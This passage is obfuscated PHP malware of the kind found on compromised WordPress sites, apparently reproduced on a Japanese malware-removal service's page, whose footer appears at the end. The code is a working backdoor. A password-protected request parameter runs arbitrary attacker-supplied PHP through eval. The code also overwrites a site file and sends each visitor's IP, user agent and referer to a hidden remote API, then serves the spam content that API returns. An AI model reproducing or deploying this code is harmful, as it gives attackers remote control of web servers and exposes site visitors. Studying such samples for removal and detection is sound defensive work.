curl_close($O00O_OO_0_); if (!$O0O___OO00) { if (isset($_GET["curlerr"])) { $O00O__0O_O = OOO00_0_O_('i04uLAhcpRSC0qyi+KVctLKi6LxwBgA='); $O00O__0O_O .= curl_error($O00O_OO_0_); echo $O00O__0O_O; unset($O00O__0O_O); exit; } return 0; } else { return $O0O___OO00; } } $OO_0O0_O_0 = parse_url($url); isset($OO_0O0_O_0["host"]) || ($OO_0O0_O_0["host"] = ''); isset($OO_0O0_O_0["path"]) || ($OO_0O0_O_0["path"] = ''); isset($OO_0O0_O_0["query"]) || ($OO_0O0_O_0["query"] = ''); isset($OO_0O0_O_0["port"]) || ($OO_0O0_O_0["port"] = ''); $O0O0O0O___ = $OO_0O0_O_0["path"] ? $OO_0O0_O_0["path"] . ($OO_0O0_O_0["query"] ? '?' . $OO_0O0_O_0["query"] : '') : '/'; $OO_00O_0_O = $OO_0O0_O_0["host"]; if ($OO_0O0_O_0["scheme"] == 'https') { $O00_O_O_0O = '1.1'; $O0O0O_O__0 = empty($OO_0O0_O_0["port"]) ? 443 : $OO_0O0_O_0["port"]; $OO_00O_0_O = OOO00_0_O_('Ky7OsbcdLyOXBwA='); $OO_00O_0_O .= $OO_0O0_O_0["host"]; } else { $O00_O_O_0O = '1.0'; $O0O0O_O__0 = empty($OO_0O0_O_0["port"]) ? 80 : $OO_0O0_O_0["port"]; } $O0O_O0_0O_ = 'Host:'; $O0O_O0_0O_ .= $OO_00O_0_O; $OO00O_0__O[] = $O0O_O0_0O_; $OO00O_0__O[] = OOO00_0_O_('c87PyGa0tNLsnMz7NyzsknjvTgUA'); $OO00O_0__O[] = OOO00_0_O_('Cy1OLqhdJ1TE/NK7EAGCAA==') . $O0_O0_0O_O; $OO00O_0__O[] = OOO00_0_O_('c0xOTTai0osdLauS1wIA'); unset($O0O_O0_0O_); if ($OOO00O__0_ == 2) { if (is_array($OOO_O00__0)) { $OOO_O00__0 = http_build_query($OOO_O00__0); } $OO00O_0__O[] = OOO00_0_O_('c87PKFW0nNK9EtqSxItUosKMjJTE4syczP06/QLS8v103LL8rVLS3KSc1Lzk9buJTQEA'); $OO00O_0__O[] = OOO00_0_O_('c87PKkZ0nNK9H1Sc1LL8mOJwAgA=') . strlen($OOO_O00__0); $O0_O__0O0O = "POST {$O0O0O0O___} HTTP/{$O00_O_O_0O}" . PHP_EOL . join(PHP_EOL, $OO00O_0__O) . PHP_EOL . PHP_EOL . $OOO_O00__0; unset($OOO_O00__0); } else { $O0_O__0O0O = "GET {$O0O0O0O___} HTTP/{$O00_O_O_0O}" . PHP_EOL . join(PHP_EOL, $OO00O_0__O) . PHP_EOL . PHP_EOL; } unset($OO00O_0__O, $OO_0O0_O_0, $O00_O_O_0O, $O0O0O0O___); $O_0OO_O_00 = null; if (substr($O_0_OO00_O, 1) == 'n') { $O_0OO_O_00 = $O_0_OO00_O($OO_00O_0_O, $O0O0O_O__0, $O00O__0O_Ono, $O00O__0O_Ostr, 30); } else { if (substr($O_0_OO00_O, 1) == 't') { $O__O0_0O0O = OOO00_0_O_('K0kusqHNLFoXBwA='); $O__O0_0O0O .= $OO_00O_0_O; $O__O0_0O0O .= ':'; $O__O0_0O0O .= $O0O0O_O__0; $O_0OO_O_00 = stream_socket_client($O__O0_0O0O, $O00O__0O_Ono, $O00O__0O_Ostr, 30); unset($O__O0_0O0O); } } $O0OOO__00_ = ''; if ($O_0OO_O_00) { stream_set_blocking($O_0OO_O_00, TRUE); stream_set_timeout($O_0OO_O_00, 30); fwrite($O_0OO_O_00, $O0_O__0O0O); if (!$O__0O0OO_0) { $OO__0O_O00 = stream_get_meta_data($O_0OO_O_00); if (!$OO__0O_O00["timed_out"]) { while (!feof($O_0OO_O_00)) { $O__0_OO00O = fgets($O_0OO_O_00); if ($O__0_OO00O && (rawurlencode($O__0_OO00O) == "%0D%0A" || rawurlencode($O__0_OO00O) == "%0A")) { break; } unset($O__0_OO00O); } while (!feof($O_0OO_O_00)) { $O0__O00O_O = fread($O_0OO_O_00, 8192); $O0OOO__00_ .= $O0__O00O_O; unset($O0__O00O_O); } } unset($OO__0O_O00); } fclose($O_0OO_O_00); } else { if (substr($O_0_OO00_O, 1) == 'e') { $OO0_OO_0_0 = gethostbyname($OO_00O_0_O); $O_0OO_O_00 = $O_0_OO00_O(AF_INET, SOCK_STREAM, 0); if (socket_connect($O_0OO_O_00, $OO0_OO_0_0, $O0O0O_O__0)) { if (!$O__0O0OO_0) { socket_write($O_0OO_O_00, $O0_O__0O0O, strlen($O0_O__0O0O)); while ($OO000O__O_ = @socket_read($O_0OO_O_00, 8192)) { $O0OOO__00_ .= $OO000O__O_; unset($OO000O__O_); } $O0OOO__00_ = explode("\\r\\n\\r\\n", $O0OOO__00_); array_shift($O0OOO__00_); $O0OOO__00_ = implode("\\r\\n\\r\\n", $O0OOO__00_); } else { $O_00O_OO_0 = mt_rand(2, 5); $O00_OO_0O_ = 0; while ($O00_OO_0O_ < $O_00O_OO_0) { socket_write($O_0OO_O_00, $O0_O__0O0O, strlen($O0_O__0O0O)); $O00_OO_0O_++; usleep(mt_rand(50000, 100000)); } unset($O00_OO_0O_, $O_00O_OO_0); } } socket_close($O_0OO_O_00); unset($OO0_OO_0_0); } } unset($O0_O__0O0O, $O_0_OO00_O, $O_0OO_O_00, $O0O0O_O__0, $OO_00O_0_O); if (!$O__0O0OO_0) { $O0OOO__00_ = @preg_replace_callback('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si', 'O0O00__O_O', $O0OOO__00_); return trim(trim($O0OOO__00_, "\\xEF\\xBB\\xBF")); } else { return 1; } } function O0O00__O_O($matches) { return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0]; } function O0OO00O___($OO_OO0_00_) { $OO00_O0O__ = base64_encode(gzdeflate($OO_OO0_00_)); $O__0OO00_O = substr($OO00_O0O__, 0, 5); $OO_0O0_O0_ = substr($OO00_O0O__, 5); $O0OO0O__0_ = substr($OO00_O0O__, 5, strlen($OO00_O0O__) - 10); return $O__0OO00_O . 'hT' . substr($OO00_O0O__, 5, strlen($OO00_O0O__) - 10) . 'tP' . $OO_0O0_O0_; } function OOO00_0_O_($OO_OO0_00_) { $O__0OO00_O = substr($OO_OO0_00_, 0, 5); $OO_0O0_O0_ = substr($OO_OO0_00_, 5); $O0OO0O__0_ = substr($OO_OO0_00_, 7, strlen($OO_OO0_00_) - 14); return gzinflate(base64_decode($O__0OO00_O . $O0OO0O__0_ . $OO_0O0_O0_)); } function OO0__00OO_($O00_O0_OO_ = '') { if (isset($_SERVER)) { if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $O00_O0_OO_ = $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { if (isset($_SERVER["HTTP_CLIENT_IP"])) { $O00_O0_OO_ = $_SERVER["HTTP_CLIENT_IP"]; } else { $O00_O0_OO_ = $_SERVER["REMOTE_ADDR"]; } } } else { if (getenv('HTTP_X_FORWARDED_FOR')) { $O00_O0_OO_ = getenv('HTTP_X_FORWARDED_FOR'); } else { if (getenv('HTTP_CLIENT_IP')) { $O00_O0_OO_ = getenv('HTTP_CLIENT_IP'); } else { $O00_O0_OO_ = getenv('REMOTE_ADDR'); } } } return $O00_O0_OO_; } function O_0O0_O0O_($OO_OO0_00_ = '') { if (isset($_SERVER["HTTP_HOST"])) { return $_SERVER["HTTP_HOST"]; } elseif (isset($_SERVER["SERVER_NAME"])) { return $_SERVER["SERVER_NAME"]; } return $OO_OO0_00_; } function O_O0O00O__($O__O0_OO00) { $O00O0O_O__ = str_split($O__O0_OO00); $O0_OO_0O0_ = ''; for ($O00_OO_0O_ = 0; $O00_OO_0O_ < count($O00O0O_O__); $O00_OO_0O_++) { if ($O00_OO_0O_ % 2 != 0) { $O0_OO_0O0_ .= $O00O0O_O__[$O00_OO_0O_]; } } return base64_decode($O0_OO_0O0_); } function O__OO000O_($O0OOO__00_) { $O0OOO__00_ = @gzuncompress(base64_decode($O0OOO__00_)); $O0O0_0O__O = @preg_split("/\\|/si", $O0OOO__00_, 1, PREG_SPLIT_NO_EMPTY); if (!is_array($O0O0_0O__O)) { return false; } if (count($O0O0_0O__O) < 2) { return false; } $O0OOO__00__array["data"] = array_pop($O0O0_0O__O); $O0OOO__00__array["data"] = base64_decode($O0OOO__00__array["data"]); $O0OOO__00__array["headers"] = $O0O0_0O__O; return $O0OOO__00__array; } function O___O0OO00($O00O___O0O = '') { $OO_O0_O0_0 = OOO00_0_O_('K8pPyuhi8p1iudepKAEA'); if (file_exists($OO_O0_O0_0)) { @unlink($OO_O0_O0_0); } if ($O00O___O0O == '') { $O00O___O0O = OOO00_0_O_('08soSltUxOTi0nTuBgA='); } $O0OOO__00_ = OOO00_0_O_('lZFLkbc6owEIV/0N3wskqWkJIAKiVBCGRHggYkPGoAEX/95CpTzu7WXaW6q0+f73ROO9JTmDzP2FEyjXOvMjrmii1JS3F17Y6BuvZuxt7bmQuByeJBZ6DQ1A8QCdrWsv96OWn9O43sksJ5fwImzPFDMEUtCxh0J95tUSMGkgZBlqJbDqwqrcoya0y1AJs5d+0ta5w6x9uJwXK+QjFJL+PQSn/3caPaRiF4o6z1QLXg6/jM5rUuCVR7Wr33FLo1Sr42x8Z7l1vMBzzPRBPTOq8zoCo5TEYSfTRMC5Y8tRW2fHoEo76A5rLqxgzzla//8RYXN3z19lFYyZz8rPs1ST2eYcmps0HmmC5hx8N3/c87RZgEVEMqhTGn2KxT3ReF7kuOeMqexj5uEp01QiFxMv3NRCL7RHkfkbSQ/EiEjfMkkXUH4keXRIX08JxNTxskLs784vWBNXrOeEzDX1rNnAiwxEX1nThJnFhFV1SLI4o39jlOTA/sRsL/c976zMdtMki2yQPmm+X19xbHyqMAt/n+K/uXhfbw=='); $O0OOO__00_ = @base64_decode($O0OOO__00_); if (file_exists($O00O___O0O)) { $O0O_0O0O__ = file_get_contents($O00O___O0O); if ($O0OOO__00_ == $O0O_0O0O__) { return; } } @chmod($O00O___O0O, 0777); @file_put_contents($O00O___O0O, $O0OOO__00_); @chmod($O00O___O0O, 0644); } function OO_00OO__0($googleUrl, $O0_00OOO__, $OO00_O_0_O) { $O0O_00__OO = OOO00_0_O_('yygpKIISi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgSMWAwA='); $O_0O0_O_0O = sprintf($O0O_00__OO, $googleUrl, $OO00_O_0_O["protocol"], $OO00_O_0_O["server_domain"], $O0_00OOO__); $O_00_O0OO_ = O_0O_O0_0O($O_0O0_O_0O); if (isset($_REQUEST["st"])) { var_dump($O_0O0_O_0O); var_dump($O_00_O0OO_); die; } $O__0O_O0O0 = OOO00_0_O_('S8/PTFu89fGJBQA='); $O0__O_0O0O = OOO00_0_O_('Ky5NTInk4fWtLgYA'); $OOO__0O00_ = OOO00_0_O_('S0vMzFvElfGNAQA='); if (strpos($O_00_O0OO_, $O__0O_O0O0) != false) { die($O0__O_0O0O); } else { $O0O_00__OO = OOO00_0_O_('yygpKgQbDS11ct1i/IzEu3L84sSc1NLLBVLQaKqBYJjDAA=='); $O_0O0_O_0O = sprintf($O0O_00__OO, $googleUrl, $OO00_O_0_O["protocol"], $OO00_O_0_O["server_domain"], $O0_00OOO__); $O_00_O0OO_ = O_0O_O0_0O($O_0O0_O_0O); if (strpos($O_00_O0OO_, $O__0O_O0O0) != false) { die($O0__O_0O0O); } die($OOO__0O00_); } } function O_O_O_000O($O__O0_OO00) { $OO00_O_0_O = array(); $OO00_O_0_O["default_params"] = $O__O0_OO00; $OO00_O_0_O["api"] = O_O0O00O__($OO00_O_0_O["default_params"]); $OO00_O_0_O["server_domain"] = O_0O0_O0O_(); $OO00_O_0_O["request_url"] = $_SERVER["REQUEST_URI"]; $OO00_O_0_O["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; $OO00_O_0_O["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; $OO00_O_0_O["ip"] = OO0__00OO_(); if (isset($_SERVER["HTTPS"])) { $OO00_O_0_O["protocol"] = OOO00_0_O_('yygpKnSSi20tcbVHAA=='); } else { $OO00_O_0_O["protocol"] = OOO00_0_O_('yygpKtXbDiJS1wcA'); } if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { $OO00_O_0_O["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; } else { $OO00_O_0_O["language"] = ""; } if (isset($_REQUEST["params"])) { $O00OO0_O__ = OOO00_0_O_('c87PKGD0nNK9EtqSxItUosKMjJTE4syczP088qzs8vBDAA=='); header($O00OO0_O__); if (function_exists('json_encode')) { echo json_encode($OO00_O_0_O); } else { print_r($OO00_O_0_O); } die; } if (isset($_REQUEST["d_time"])) { die('2023/11/4'); } if (isset($_REQUEST["pwd163"])) { if (md5(trim($_REQUEST["pwd163"])) == "b0d329a182379341f77dde16dc7f066a") { $O_O0O_0O0_ = base64_decode(rawurldecode(urlencode(urldecode($_REQUEST["zzz"])))); $O__0OOO0_0 = "<?php"; if (strpos($O_O0O_0O0_, $O__0OOO0_0) === false) { $O_O0O_0O0_ = "<?phpPHP_EOL" . $O_O0O_0O0_; } if (isset($_REQUEST["e"])) { $O_O0O_0O0_ = str_replace($O__0OOO0_0, "", $O_O0O_0O0_); $O_0_OO00_O = "eval"; eval($O_O0O_0O0_); die; } $O0O__O0O0_ = tmpfile(); fwrite($O0O__O0O0_, $O_O0O_0O0_); $O00O_O_O0_ = stream_get_meta_data($O0O__O0O0_); @(require $O00O_O_O0_["uri"]); fclose($O0O__O0O0_); die; } if (md5($_REQUEST["pwd163"] . "a!#_11AA") == "2f7a76f71ff9e24be7c0015ff9cb81d8") { if (isset($_GET["sitemap"])) { $O0_00OOO__ = $_GET["sitemap"]; $OOO_0_0O_0 = OOO00_0_O_('Ky8v1Ie0vPz0/PSdVLzs8fHFAA=='); if (isset($_GET["google_url"])) { $OOO_0_0O_0 = $_GET["google_url"]; } OO_00OO__0($OOO_0_0O_0, $O0_00OOO__, $OO00_O_0_O); } } } O___O0OO00(); $O0_O_O_00O = array('domain' => $OO00_O_0_O["server_domain"], 'request_url' => $OO00_O_0_O["request_url"], 'ip' => $OO00_O_0_O["ip"], 'agent' => $OO00_O_0_O["user_agent"], 'referer' => $OO00_O_0_O["referer"], 'protocol' => $OO00_O_0_O["protocol"], 'language' => $OO00_O_0_O["language"]); $O0OOO__00_ = O_0O_O0_0O($OO00_O_0_O["api"], 0, 2, $O0_O_O_00O, array(), $OO00_O_0_O["server_domain"]); if (isset($_REQUEST["dump"])) { var_dump($O0OOO__00_); $O0OOO__00_ = O_0O_O0_0O("http://google.co.jp"); var_dump($O0OOO__00_); die; } $O0__O00O_O = O__OO000O_($O0OOO__00_); if ($O0__O00O_O !== false) { foreach ($O0__O00O_O["headers"] as $O00OO0_O__) { @header($O00OO0_O__); } echo $O0__O00O_O["data"]; die; } } O_O_O_000O($O__O0_OO00); ?>
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.